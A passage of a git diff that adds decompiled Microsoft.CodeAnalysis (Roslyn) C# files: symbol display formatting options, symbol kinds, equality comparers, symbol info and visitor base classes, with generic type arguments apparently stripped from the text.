SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.IncludeNullableReferenceTypeModifier); + + public SymbolDisplayGlobalNamespaceStyle GlobalNamespaceStyle { get; } + + public SymbolDisplayTypeQualificationStyle TypeQualificationStyle { get; } + + public SymbolDisplayGenericsOptions GenericsOptions { get; } + + public SymbolDisplayMemberOptions MemberOptions { get; } + + public SymbolDisplayParameterOptions ParameterOptions { get; } + + public SymbolDisplayDelegateStyle DelegateStyle { get; } + + public SymbolDisplayExtensionMethodStyle ExtensionMethodStyle { get; } + + public SymbolDisplayPropertyStyle PropertyStyle { get; } + + public SymbolDisplayLocalOptions LocalOptions { get; } + + public SymbolDisplayKindOptions KindOptions { get; } + + public SymbolDisplayMiscellaneousOptions MiscellaneousOptions { get; } + + internal SymbolDisplayCompilerInternalOptions CompilerInternalOptions { get; } + + public SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle globalNamespaceStyle = SymbolDisplayGlobalNamespaceStyle.Omitted, SymbolDisplayTypeQualificationStyle typeQualificationStyle = SymbolDisplayTypeQualificationStyle.NameOnly, SymbolDisplayGenericsOptions genericsOptions = SymbolDisplayGenericsOptions.None, SymbolDisplayMemberOptions memberOptions = SymbolDisplayMemberOptions.None, SymbolDisplayDelegateStyle delegateStyle = SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle extensionMethodStyle = SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions parameterOptions = SymbolDisplayParameterOptions.None, SymbolDisplayPropertyStyle propertyStyle = SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions localOptions = SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions kindOptions = SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions miscellaneousOptions = SymbolDisplayMiscellaneousOptions.None) + : this(SymbolDisplayCompilerInternalOptions.None, globalNamespaceStyle, typeQualificationStyle, genericsOptions, memberOptions, parameterOptions, delegateStyle, extensionMethodStyle, propertyStyle, localOptions, kindOptions, miscellaneousOptions) + { + } + + internal SymbolDisplayFormat(SymbolDisplayCompilerInternalOptions compilerInternalOptions, SymbolDisplayGlobalNamespaceStyle globalNamespaceStyle = SymbolDisplayGlobalNamespaceStyle.Omitted, SymbolDisplayTypeQualificationStyle typeQualificationStyle = SymbolDisplayTypeQualificationStyle.NameOnly, SymbolDisplayGenericsOptions genericsOptions = SymbolDisplayGenericsOptions.None, SymbolDisplayMemberOptions memberOptions = SymbolDisplayMemberOptions.None, SymbolDisplayParameterOptions parameterOptions = SymbolDisplayParameterOptions.None, SymbolDisplayDelegateStyle delegateStyle = SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle extensionMethodStyle = SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayPropertyStyle propertyStyle = SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions localOptions = SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions kindOptions = SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions miscellaneousOptions = SymbolDisplayMiscellaneousOptions.None) + { + GlobalNamespaceStyle = globalNamespaceStyle; + TypeQualificationStyle = typeQualificationStyle; + GenericsOptions = genericsOptions; + MemberOptions = memberOptions; + ParameterOptions = parameterOptions; + DelegateStyle = delegateStyle; + ExtensionMethodStyle = extensionMethodStyle; + PropertyStyle = propertyStyle; + LocalOptions = localOptions; + KindOptions = kindOptions; + MiscellaneousOptions = miscellaneousOptions; + CompilerInternalOptions = compilerInternalOptions; + } + + public SymbolDisplayFormat WithMiscellaneousOptions(SymbolDisplayMiscellaneousOptions options) + { + return new SymbolDisplayFormat(CompilerInternalOptions, GlobalNamespaceStyle, TypeQualificationStyle, GenericsOptions, MemberOptions, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, KindOptions, options); + } + + public SymbolDisplayFormat AddMiscellaneousOptions(SymbolDisplayMiscellaneousOptions options) + { + return WithMiscellaneousOptions(MiscellaneousOptions | options); + } + + public SymbolDisplayFormat RemoveMiscellaneousOptions(SymbolDisplayMiscellaneousOptions options) + { + return WithMiscellaneousOptions(MiscellaneousOptions & ~options); + } + + public SymbolDisplayFormat WithGenericsOptions(SymbolDisplayGenericsOptions options) + { + return new SymbolDisplayFormat(CompilerInternalOptions, GlobalNamespaceStyle, TypeQualificationStyle, options, MemberOptions, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, KindOptions, MiscellaneousOptions); + } + + public SymbolDisplayFormat AddGenericsOptions(SymbolDisplayGenericsOptions options) + { + return WithGenericsOptions(GenericsOptions | options); + } + + public SymbolDisplayFormat RemoveGenericsOptions(SymbolDisplayGenericsOptions options) + { + return WithGenericsOptions(GenericsOptions & ~options); + } + + public SymbolDisplayFormat WithMemberOptions(SymbolDisplayMemberOptions options) + { + return new SymbolDisplayFormat(CompilerInternalOptions, GlobalNamespaceStyle, TypeQualificationStyle, GenericsOptions, options, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, KindOptions, MiscellaneousOptions); + } + + public SymbolDisplayFormat AddMemberOptions(SymbolDisplayMemberOptions options) + { + return WithMemberOptions(MemberOptions | options); + } + + public SymbolDisplayFormat RemoveMemberOptions(SymbolDisplayMemberOptions options) + { + return WithMemberOptions(MemberOptions & ~options); + } + + public SymbolDisplayFormat WithKindOptions(SymbolDisplayKindOptions options) + { + return new SymbolDisplayFormat(CompilerInternalOptions, GlobalNamespaceStyle, TypeQualificationStyle, GenericsOptions, MemberOptions, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, options, MiscellaneousOptions); + } + + public SymbolDisplayFormat AddKindOptions(SymbolDisplayKindOptions options) + { + return WithKindOptions(KindOptions | options); + } + + public SymbolDisplayFormat RemoveKindOptions(SymbolDisplayKindOptions options) + { + return WithKindOptions(KindOptions & ~options); + } + + public SymbolDisplayFormat WithParameterOptions(SymbolDisplayParameterOptions options) + { + return new SymbolDisplayFormat(CompilerInternalOptions, GlobalNamespaceStyle, TypeQualificationStyle, GenericsOptions, MemberOptions, options, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, KindOptions, MiscellaneousOptions); + } + + public SymbolDisplayFormat AddParameterOptions(SymbolDisplayParameterOptions options) + { + return WithParameterOptions(ParameterOptions | options); + } + + public SymbolDisplayFormat RemoveParameterOptions(SymbolDisplayParameterOptions options) + { + return WithParameterOptions(ParameterOptions & ~options); + } + + public SymbolDisplayFormat WithGlobalNamespaceStyle(SymbolDisplayGlobalNamespaceStyle style) + { + return new SymbolDisplayFormat(CompilerInternalOptions, style, TypeQualificationStyle, GenericsOptions, MemberOptions, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, KindOptions, MiscellaneousOptions); + } + + public SymbolDisplayFormat WithLocalOptions(SymbolDisplayLocalOptions options) + { + return new SymbolDisplayFormat(CompilerInternalOptions, GlobalNamespaceStyle, TypeQualificationStyle, GenericsOptions, MemberOptions, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, options, KindOptions, MiscellaneousOptions); + } + + public SymbolDisplayFormat AddLocalOptions(SymbolDisplayLocalOptions options) + { + return WithLocalOptions(LocalOptions | options); + } + + public SymbolDisplayFormat RemoveLocalOptions(SymbolDisplayLocalOptions options) + { + return WithLocalOptions(LocalOptions & ~options); + } + + internal SymbolDisplayFormat AddCompilerInternalOptions(SymbolDisplayCompilerInternalOptions options) + { + return WithCompilerInternalOptions(CompilerInternalOptions | options); + } + + internal SymbolDisplayFormat RemoveCompilerInternalOptions(SymbolDisplayCompilerInternalOptions options) + { + return WithCompilerInternalOptions(CompilerInternalOptions & ~options); + } + + internal SymbolDisplayFormat WithCompilerInternalOptions(SymbolDisplayCompilerInternalOptions options) + { + return new SymbolDisplayFormat(options, GlobalNamespaceStyle, TypeQualificationStyle, GenericsOptions, MemberOptions, ParameterOptions, DelegateStyle, ExtensionMethodStyle, PropertyStyle, LocalOptions, KindOptions, MiscellaneousOptions); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayGenericsOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayGenericsOptions.cs new file mode 100644 index 0000000..b2b0bda --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayGenericsOptions.cs @@ -0,0 +1,12 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolDisplayGenericsOptions +{ + None = 0, + IncludeTypeParameters = 1, + IncludeTypeConstraints = 2, + IncludeVariance = 4 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayGlobalNamespaceStyle.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayGlobalNamespaceStyle.cs new file mode 100644 index 0000000..40bb859 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayGlobalNamespaceStyle.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolDisplayGlobalNamespaceStyle +{ + Omitted, + OmittedAsContaining, + Included +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayKindOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayKindOptions.cs new file mode 100644 index 0000000..e1d0016 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayKindOptions.cs @@ -0,0 +1,12 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolDisplayKindOptions +{ + None = 0, + IncludeNamespaceKeyword = 1, + IncludeTypeKeyword = 2, + IncludeMemberKeyword = 4 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayLocalOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayLocalOptions.cs new file mode 100644 index 0000000..c96163d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayLocalOptions.cs @@ -0,0 +1,15 @@ +using System; +using System.ComponentModel; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolDisplayLocalOptions +{ + None = 0, + IncludeType = 1, + IncludeConstantValue = 2, + [EditorBrowsable(EditorBrowsableState.Never)] + IncludeRef = 4, + IncludeModifiers = 4 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayMemberOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayMemberOptions.cs new file mode 100644 index 0000000..b893688 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayMemberOptions.cs @@ -0,0 +1,17 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolDisplayMemberOptions +{ + None = 0, + IncludeType = 1, + IncludeModifiers = 2, + IncludeAccessibility = 4, + IncludeExplicitInterface = 8, + IncludeParameters = 0x10, + IncludeContainingType = 0x20, + IncludeConstantValue = 0x40, + IncludeRef = 0x80 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayMiscellaneousOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayMiscellaneousOptions.cs new file mode 100644 index 0000000..6b72667 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayMiscellaneousOptions.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolDisplayMiscellaneousOptions +{ + None = 0, + UseSpecialTypes = 1, + EscapeKeywordIdentifiers = 2, + UseAsterisksInMultiDimensionalArrays = 4, + UseErrorTypeSymbolName = 8, + RemoveAttributeSuffix = 0x10, + ExpandNullable = 0x20, + IncludeNullableReferenceTypeModifier = 0x40, + AllowDefaultLiteral = 0x80, + IncludeNotNullableReferenceTypeModifier = 0x100, + CollapseTupleTypes = 0x200, + ExpandValueTuple = 0x400 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayParameterOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayParameterOptions.cs new file mode 100644 index 0000000..a964096 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayParameterOptions.cs @@ -0,0 +1,18 @@ +using System; +using System.ComponentModel; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolDisplayParameterOptions +{ + None = 0, + IncludeExtensionThis = 1, + [EditorBrowsable(EditorBrowsableState.Never)] + IncludeParamsRefOut = 2, + IncludeModifiers = 2, + IncludeType = 4, + IncludeName = 8, + IncludeDefaultValue = 0x10, + IncludeOptionalBrackets = 0x20 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPart.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPart.cs new file mode 100644 index 0000000..045f642 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPart.cs @@ -0,0 +1,36 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SymbolDisplayPart +{ + private readonly SymbolDisplayPartKind _kind; + + private readonly string _text; + + private readonly ISymbol? _symbol; + + public SymbolDisplayPartKind Kind => _kind; + + public ISymbol? Symbol => _symbol; + + public SymbolDisplayPart(SymbolDisplayPartKind kind, ISymbol? symbol, string text) + { + if (!kind.IsValid()) + { + throw new ArgumentOutOfRangeException("kind"); + } + if (text == null) + { + throw new ArgumentNullException("text"); + } + _kind = kind; + _text = text; + _symbol = symbol; + } + + public override string ToString() + { + return _text; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPartKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPartKind.cs new file mode 100644 index 0000000..2f1bcff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPartKind.cs @@ -0,0 +1,38 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolDisplayPartKind +{ + AliasName, + AssemblyName, + ClassName, + DelegateName, + EnumName, + ErrorTypeName, + EventName, + FieldName, + InterfaceName, + Keyword, + LabelName, + LineBreak, + NumericLiteral, + StringLiteral, + LocalName, + MethodName, + ModuleName, + NamespaceName, + Operator, + ParameterName, + PropertyName, + Punctuation, + Space, + StructName, + AnonymousTypeIndicator, + Text, + TypeParameterName, + RangeVariableName, + EnumMemberName, + ExtensionMethodName, + ConstantName, + RecordClassName, + RecordStructName +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPropertyStyle.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPropertyStyle.cs new file mode 100644 index 0000000..2e2c303 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayPropertyStyle.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolDisplayPropertyStyle +{ + NameOnly, + ShowReadWriteDescriptor +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayTypeQualificationStyle.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayTypeQualificationStyle.cs new file mode 100644 index 0000000..68e76ba --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayTypeQualificationStyle.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolDisplayTypeQualificationStyle +{ + NameOnly, + NameAndContainingTypes, + NameAndContainingTypesAndNamespaces +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolEqualityComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolEqualityComparer.cs new file mode 100644 index 0000000..156a1e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolEqualityComparer.cs @@ -0,0 +1,33 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis; + +public sealed class SymbolEqualityComparer : IEqualityComparer +{ + public static readonly SymbolEqualityComparer Default = new SymbolEqualityComparer(TypeCompareKind.AllNullableIgnoreOptions); + + public static readonly SymbolEqualityComparer IncludeNullability = new SymbolEqualityComparer(TypeCompareKind.ConsiderEverything); + + internal static readonly SymbolEqualityComparer ConsiderEverything = new SymbolEqualityComparer(TypeCompareKind.ConsiderEverything); + + internal static readonly SymbolEqualityComparer IgnoreAll = new SymbolEqualityComparer(TypeCompareKind.AllIgnoreOptions); + + internal static readonly SymbolEqualityComparer CLRSignature = new SymbolEqualityComparer(TypeCompareKind.CLRSignatureCompareOptions); + + internal TypeCompareKind CompareKind { get; } + + internal SymbolEqualityComparer(TypeCompareKind compareKind) + { + CompareKind = compareKind; + } + + public bool Equals(ISymbol? x, ISymbol? y) + { + return x?.Equals(y, this) ?? (y == null); + } + + public int GetHashCode(ISymbol? obj) + { + return obj?.GetHashCode() ?? 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolFactory.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolFactory.cs new file mode 100644 index 0000000..df2419a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolFactory.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis; + +internal abstract class SymbolFactory where TypeSymbol : class +{ + internal abstract TypeSymbol GetUnsupportedMetadataTypeSymbol(ModuleSymbol moduleSymbol, BadImageFormatException exception); + + internal abstract TypeSymbol MakeUnboundIfGeneric(ModuleSymbol moduleSymbol, TypeSymbol type); + + internal abstract TypeSymbol GetSZArrayTypeSymbol(ModuleSymbol moduleSymbol, TypeSymbol elementType, ImmutableArray> customModifiers); + + internal abstract TypeSymbol GetMDArrayTypeSymbol(ModuleSymbol moduleSymbol, int rank, TypeSymbol elementType, ImmutableArray> customModifiers, ImmutableArray sizes, ImmutableArray lowerBounds); + + internal abstract TypeSymbol SubstituteTypeParameters(ModuleSymbol moduleSymbol, TypeSymbol generic, ImmutableArray>>> arguments, ImmutableArray refersToNoPiaLocalType); + + internal abstract TypeSymbol MakePointerTypeSymbol(ModuleSymbol moduleSymbol, TypeSymbol type, ImmutableArray> customModifiers); + + internal abstract TypeSymbol MakeFunctionPointerTypeSymbol(ModuleSymbol moduleSymbol, CallingConvention callingConvention, ImmutableArray> returnAndParamTypes); + + internal abstract TypeSymbol GetSpecialType(ModuleSymbol moduleSymbol, SpecialType specialType); + + internal abstract TypeSymbol GetSystemTypeSymbol(ModuleSymbol moduleSymbol); + + internal abstract TypeSymbol GetEnumUnderlyingType(ModuleSymbol moduleSymbol, TypeSymbol type); + + internal abstract PrimitiveTypeCode GetPrimitiveTypeCode(ModuleSymbol moduleSymbol, TypeSymbol type); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolFilter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolFilter.cs new file mode 100644 index 0000000..57243de --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolFilter.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +public enum SymbolFilter +{ + None = 0, + Namespace = 1, + Type = 2, + Member = 4, + TypeAndMember = 6, + All = 7 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolInfo.cs new file mode 100644 index 0000000..b32a528 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolInfo.cs @@ -0,0 +1,85 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SymbolInfo : IEquatable +{ + internal static readonly SymbolInfo None; + + private readonly ImmutableArray _candidateSymbols; + + public ISymbol? Symbol { get; } + + public ImmutableArray CandidateSymbols => _candidateSymbols.NullToEmpty(); + + public CandidateReason CandidateReason { get; } + + internal bool IsEmpty + { + get + { + if (Symbol == null) + { + return CandidateSymbols.Length == 0; + } + return false; + } + } + + internal SymbolInfo(ISymbol symbol) + : this(symbol, ImmutableArray.Empty, CandidateReason.None) + { + } + + internal SymbolInfo(ISymbol symbol, CandidateReason reason) + : this(symbol, ImmutableArray.Empty, reason) + { + } + + internal SymbolInfo(ImmutableArray candidateSymbols, CandidateReason candidateReason) + : this(null, candidateSymbols, candidateReason) + { + } + + private SymbolInfo(ISymbol? symbol, ImmutableArray candidateSymbols, CandidateReason candidateReason) + { + Symbol = symbol; + _candidateSymbols = candidateSymbols; + CandidateReason = candidateReason; + } + + internal ImmutableArray GetAllSymbols() + { + if (Symbol != null) + { + return ImmutableArray.Create(Symbol); + } + return CandidateSymbols; + } + + public override bool Equals(object? obj) + { + if (obj is SymbolInfo other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SymbolInfo other) + { + if (CandidateReason == other.CandidateReason && object.Equals(Symbol, other.Symbol)) + { + return CandidateSymbols.SequenceEqual(other.CandidateSymbols); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Symbol, Hash.Combine(Hash.CombineValues(CandidateSymbols, 4), (int)CandidateReason)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKind.cs new file mode 100644 index 0000000..905d90c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKind.cs @@ -0,0 +1,26 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolKind +{ + Alias, + ArrayType, + Assembly, + DynamicType, + ErrorType, + Event, + Field, + Label, + Local, + Method, + NetModule, + NamedType, + Namespace, + Parameter, + PointerType, + Property, + RangeVariable, + TypeParameter, + Preprocessing, + Discard, + FunctionPointerType +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKindExtensions.cs new file mode 100644 index 0000000..98aceb0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKindExtensions.cs @@ -0,0 +1,31 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class SymbolKindExtensions +{ + public static int ToSortOrder(this SymbolKind kind) + { + return kind switch + { + SymbolKind.Field => 0, + SymbolKind.Method => 1, + SymbolKind.Property => 2, + SymbolKind.Event => 3, + SymbolKind.NamedType => 4, + SymbolKind.Namespace => 5, + SymbolKind.Alias => 6, + SymbolKind.ArrayType => 7, + SymbolKind.Assembly => 8, + SymbolKind.Label => 10, + SymbolKind.Local => 11, + SymbolKind.NetModule => 12, + SymbolKind.Parameter => 13, + SymbolKind.RangeVariable => 14, + SymbolKind.TypeParameter => 15, + SymbolKind.DynamicType => 16, + SymbolKind.Preprocessing => 17, + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKindInternal.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKindInternal.cs new file mode 100644 index 0000000..cca6162 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolKindInternal.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +internal static class SymbolKindInternal +{ + internal const SymbolKind FunctionType = (SymbolKind)255; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolVisitor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolVisitor.cs new file mode 100644 index 0000000..09cab11 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolVisitor.cs @@ -0,0 +1,332 @@ +namespace Microsoft.CodeAnalysis; + +public abstract class SymbolVisitor +{ + public virtual void Visit(ISymbol? symbol) + { + symbol?.Accept(this); + } + + public virtual void DefaultVisit(ISymbol symbol) + { + } + + public virtual void VisitAlias(IAliasSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitArrayType(IArrayTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitAssembly(IAssemblySymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitDiscard(IDiscardSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitDynamicType(IDynamicTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitEvent(IEventSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitField(IFieldSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitLabel(ILabelSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitLocal(ILocalSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitMethod(IMethodSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitModule(IModuleSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitNamedType(INamedTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitNamespace(INamespaceSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitParameter(IParameterSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitPointerType(IPointerTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitFunctionPointerType(IFunctionPointerTypeSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitProperty(IPropertySymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitRangeVariable(IRangeVariableSymbol symbol) + { + DefaultVisit(symbol); + } + + public virtual void VisitTypeParameter(ITypeParameterSymbol symbol) + { + DefaultVisit(symbol); + } +} +public abstract class SymbolVisitor +{ + public virtual TResult? Visit(ISymbol? symbol) + { + if (symbol != null) + { + return symbol.Accept(this); + } + return default(TResult); + } + + public virtual TResult? DefaultVisit(ISymbol symbol) + { + return default(TResult); + } + + public virtual TResult? VisitAlias(IAliasSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitArrayType(IArrayTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitAssembly(IAssemblySymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitDiscard(IDiscardSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitDynamicType(IDynamicTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitEvent(IEventSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitField(IFieldSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitLabel(ILabelSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitLocal(ILocalSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitMethod(IMethodSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitModule(IModuleSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitNamedType(INamedTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitNamespace(INamespaceSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitParameter(IParameterSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitPointerType(IPointerTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitFunctionPointerType(IFunctionPointerTypeSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitProperty(IPropertySymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitRangeVariable(IRangeVariableSymbol symbol) + { + return DefaultVisit(symbol); + } + + public virtual TResult? VisitTypeParameter(ITypeParameterSymbol symbol) + { + return DefaultVisit(symbol); + } +} +public abstract class SymbolVisitor +{ + protected abstract TResult DefaultResult { get; } + + public virtual TResult Visit(ISymbol? symbol, TArgument argument) + { + if (symbol != null) + { + return symbol.Accept(this, argument); + } + return DefaultResult; + } + + public virtual TResult DefaultVisit(ISymbol symbol, TArgument argument) + { + return DefaultResult; + } + + public virtual TResult VisitAlias(IAliasSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitArrayType(IArrayTypeSymbol symbol, TArgument argument) + { + return 